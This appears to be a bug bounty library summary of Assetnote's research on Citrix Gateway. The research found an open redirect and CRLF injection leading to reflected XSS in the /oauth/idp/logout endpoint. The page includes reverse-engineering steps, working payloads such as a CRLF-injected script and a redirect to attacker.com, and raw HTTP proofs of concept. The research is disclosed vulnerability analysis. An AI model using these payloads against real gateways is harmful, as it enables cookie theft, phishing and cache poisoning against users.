# Reversing Citrix Gateway for XSS

Unauthenticated open redirect in Citrix Gateway's /oauth/idp/logout post_logout_redirect_uri parameter pivots via CRLF injection to reflected XSS and possible cache poisoning.

- Payout: Research
- Severity: medium
- Program: Citrix
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/reversing-citrix-gateway-for-xss
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-reversing-citrix-gateway-for-xss
- Tags: area:devices domain:network impact:ato kind:research platform:research sev:medium tech:curl technique:reverse-engineering technique:source-review vuln:cache-poisoning vuln:crlf-injection vuln:open-redirect vuln:xss

**Target:** /oauth/idp/logout endpoint in nsppe binary (Citrix Gateway VPN component)
**Root cause:** The post_logout_redirect_uri query parameter is copied unsanitized into the Location response header, allowing both arbitrary redirect targets and CRLF injection that terminates headers and injects HTML.
**Steps:**
1. Reverse /netscaler/nsppe in Ghidra; identify ns_vpn_process_unauthenticated_request and inlined lowercase string comparisons (| 0x20) to map routes.
2. Locate /oauth/idp/logout route calling ns_aaa_oauth_fetch_logout_url, which reads post_logout_redirect_uri.
3. Send `GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com` and observe `Location: attacker.com` (open redirect).
4. Send `GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.cookie)</script>` to break headers and inject HTML.
5. For Firefox use payload `ws://localhost/x%0D%0A%0D%0A`.
**How found:** sockstat showed nothing on 443 because Citrix uses a custom network stack in nsppe; after decompiling the 42MB binary with raised Ghidra limits, they grepped for URL-like strings and matched endpoints to code. Ghidra missed compiler-inlined string comparisons; recognizing the `| 0x20` lowercase trick and byte-reversing hex constants revealed the routing table, exposing /oauth/idp/logout and the post_logout_redirect_uri parameter.
**Exploitation:** Unauthenticated attacker crafts a link to the victim Citrix Gateway; the redirect enables phishing against the login page, and the CRLF variant executes arbitrary JS in the victim's browser to steal session cookies (HttpOnly often unset). If deployed behind a cache, the injected response can be cached for cache poisoning.
**Escalation:** Open redirect pivoted to CRLF injection and reflected XSS; potential cache poisoning when fronted by a caching layer.
**Insight:** On appliances with custom network stacks, sockstat/netstat lie — map routes by decompiling the packet engine and decoding inlined string comparisons (OR 0x20 lowercase trick, byte-reversed hex). Any parameter feeding a Location header on a non-standard HTTP stack is worth testing for CRLF, since built-in header sanitization may be absent.

## Proof of concept (copied exactly from the original report)

**CRLF injection to XSS via post_logout_redirect_uri**

```
GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: 

<script>alert(1)</script>
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
```

**Open redirect via post_logout_redirect_uri**

```
GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: attacker.com
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8
```

